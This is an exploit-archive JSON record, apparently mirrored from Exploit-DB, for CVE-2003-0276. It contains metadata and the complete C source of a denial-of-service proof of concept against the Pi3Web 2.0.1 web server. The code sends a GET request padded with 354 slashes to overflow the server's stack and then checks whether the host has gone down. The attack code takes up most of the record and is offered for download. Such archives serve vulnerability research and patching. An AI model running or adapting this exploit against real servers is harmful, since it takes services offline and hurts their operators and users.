{"exploit":{"id":"EDB-22","name":"John Roy Pi3Web 2.0.1 - Denial of Service (DoS) (PoC)","description":"John Roy Pi3Web 2.0.1 - Denial of Service (DoS) (PoC)","cves":["CVE-2003-0276"],"author":"aT4r","published":"2003-04-29","platform":"windows","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/22","path":"exploits/windows/dos/22.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-22.c","vulnerabilities":[{"id":"CVE-2003-0276","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in Pi3Web 2.0.1 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a GET request with a large number of / characters.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0276","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0276"},"updatedAt":"2024-08-08T01:50:47.580Z","retrievedAt":"2026-11-26T12:05:41.276Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-22.png?v=2","url":"https://exploitbin.com/exploits/EDB-22","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-22/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-22/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/* Pi3Web 2.0.1 DoS - Pr00f of concept.\n*\n* Vulnerable systems: Pi3Web 2.0.1 (maybe others)\n* Vendor: www.johnroy.com/pi3  - http://pi3web.sourceforge.net/\n* Patch: no yet.\n*\n* Info: Pi3Web Server is vulnerable to a denial of Service.\n* when a malformed HTTP Request is done the webserver hangs\n* due to an stack overflow. GET /////////..[354]../////////\n*\n* Found by aT4r@3wdesign.es  04/26/2003\n* Compiled with: lcc-win32 v3.3.\n*\n*/\n\n#pragma comment (lib,\"ws2_32\")\n#include <stdio.h>\n#include <windows.h>\n#include <winsock2.h>\n#include <string.h>\n\nchar evilbuffer[1024],evilrequest[512],ip[15];\nshort port=80;\n\n\nint isalive(int OPT)\n{\n\tstruct sockaddr_in haxorcitos;\n\tint fd;\n\n\thaxorcitos.sin_port = htons(port);\n\thaxorcitos.sin_family = AF_INET;\n\thaxorcitos.sin_addr.s_addr = inet_addr(ip);\n\n\tif ((fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)\n\t{\n\t\tprintf(\" [-] Unable to Create Socket\\n\\n\");\n\t\treturn(0);\n\t}\n\tif (connect(fd,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos)) == -1)\n\t{\n\t\tif (OPT==0)\n\t\t\tprintf(\" [+] Exploit Success. Remote webserver shutdown\\n\");\n\t\telse\n\t\t\tprintf(\" [-] Unable to connect\\n\\n\");\n\t\treturn(0);\n\t}\n\tif (OPT==0)\n\t{\n\t\tprintf(\" [-] Exploit Failed. System Patched?\\n\\n\");\n\t}\n\telse\n\t{\n\t\tsend(fd,evilbuffer, strlen(evilbuffer),0);\n\t\tprintf(\" [+] Data Sent. Now Checking Host\\n\");\n\t\tclosesocket(fd);\n\n\t}\nreturn(1);\n}\n\n\nvoid usage(void)\n{\n\tprintf(\" [+] Usage: PiDoS.exe HOST [port]\\n\\n\");\texit(1);\n}\n\n\nvoid main(int argc,char *argv[])\n{\n\tWSADATA ws;\n\n\tif\t(WSAStartup( MAKEWORD(1,1), &ws )!=0)\n\t{\n\t\tprintf(\" [+] WSAStartup() error\\n\");\n\t\texit(0);\n\t}\n\n\tprintf(\"\\n . .. ...:Pi3Web Denial of Service (aT4r@3wdesign.es) :...\n..\\n\\n\");\n\n\tif ((argc!=2) && (argc!=3))\n\t\tusage();\n\n\tstrcpy(ip,argv[1]);\n\tif (argc==3) port=atoi(argv[2]);\n\n\tmemset(evilrequest,0,512);\n\tmemset(evilbuffer,0,1024);\n\tmemset(evilrequest,'/',354);\n\t//sprintf(evilbuffer, \"GET %s\\r\\n\",evilrequest);\n\tsprintf(evilbuffer,\"GET %s HTTP/1.0\\r\\nUser-Agent: foo\\r\\nHost:\n%s\\r\\n\\r\\n\\r\\n\",evilrequest,argv[2]);\n\n\tif (isalive(1))\n\t\t{ sleep(1000); isalive(0);}\n\n}\n\n// milw0rm.com [2003-04-29]","sha256":"62d436de26f577e1ea760eb9781ae417bc2deca83d8870e084a0a27b1ce49e6a","bytes":2077,"fetchedAt":"2026-11-26T12:05:36.573Z","encoding":"utf-8 (display only; download retains original bytes)"}